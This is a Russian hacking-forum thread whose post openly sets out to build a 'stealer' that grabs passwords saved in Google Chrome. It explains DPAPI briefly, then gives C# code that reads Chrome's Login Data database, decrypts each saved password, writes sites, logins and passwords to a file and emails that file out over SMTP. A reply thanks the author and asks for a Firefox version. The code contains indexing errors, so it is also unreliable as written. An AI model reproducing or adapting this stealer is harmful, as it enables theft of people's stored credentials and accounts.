[c#] Воруем пароли из Google Chrome

Тема в разделе "Уязвимости и взлом", создана пользователем InsBaron, 15 сен 2017.

  1. InsBaron

    InsBaron

    Сообщения:
    209
    Баллы:
    18
    Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
    Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.

    Мастер – ключ - это комбинация следующих элементов:
    SID — уникальный идентификатор безопасности.
    HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
    PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
    MasterKey BLOB — это как раз данные с зашифрованным ключом.
    Подробнее почитать тут https://habrahabr.ru/post/148602/

    Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
    Давайте напишем такой стиллер.
    Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:

    string fileDb = @"C:\Users\Adminka\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
    string connectionString = $"Data Source = {fileDb}";
    string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
    StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
    string dbWay = "Login Data";
    string db_fields = "logins"; // база паролей SQLITE
    byte[] entropy = null;
    string description;

    DataTable db = new DataTable();
    string sql = $"SELECT * FROM {db_fields}";
    using (SQLiteConnection connection = new SQLiteConnection(connectionString))
    {
    SQLiteCommand command = new SQLiteCommand(sql, connection);
    SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
    adapter.Fill(db);
    }

    int rows = db.Rows.Count;
    Console.WriteLine($"Всего записей: {rows}");

    for (int i = 0; i < rows; i++)
    {
    string url = db.Rows[1].ToString();
    string login = db.Rows[3].ToString();
    byte[] byteArray = (byte[])db.Rows[5];
    byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
    string password = new UTF8Encoding(true).GetString(decrypted);
    sw.WriteLine("----------------------------");
    sw.WriteLine($"Номер: {i}");
    sw.WriteLine($"Сайт: {url}");
    sw.WriteLine($"Логин: {login}");
    sw.WriteLine($"Пароль: {password}");
    }
    sw.Close();

    MailSend.SendMail("smtp.mail.ru", "https://vk.com/[email protected]", "password", "https://vk.com/[email protected]", "Пароли", fileName, fileName);
    Console.ReadKey();

    Код класса DPAPI Взят отсюда http://www.obviex.com/samples/dpapi.aspx
  2. trenoga2008

    trenoga2008

    Сообщения:
    29
    Баллы:
    1
    Ты сделал мой день бро! Боже! Как долго я ждал этой заметки! От души спасибо! пример пренепременно проверю! И попутно вопрос - а как это реализовано в Firefox?

Поделиться этой страницей

Top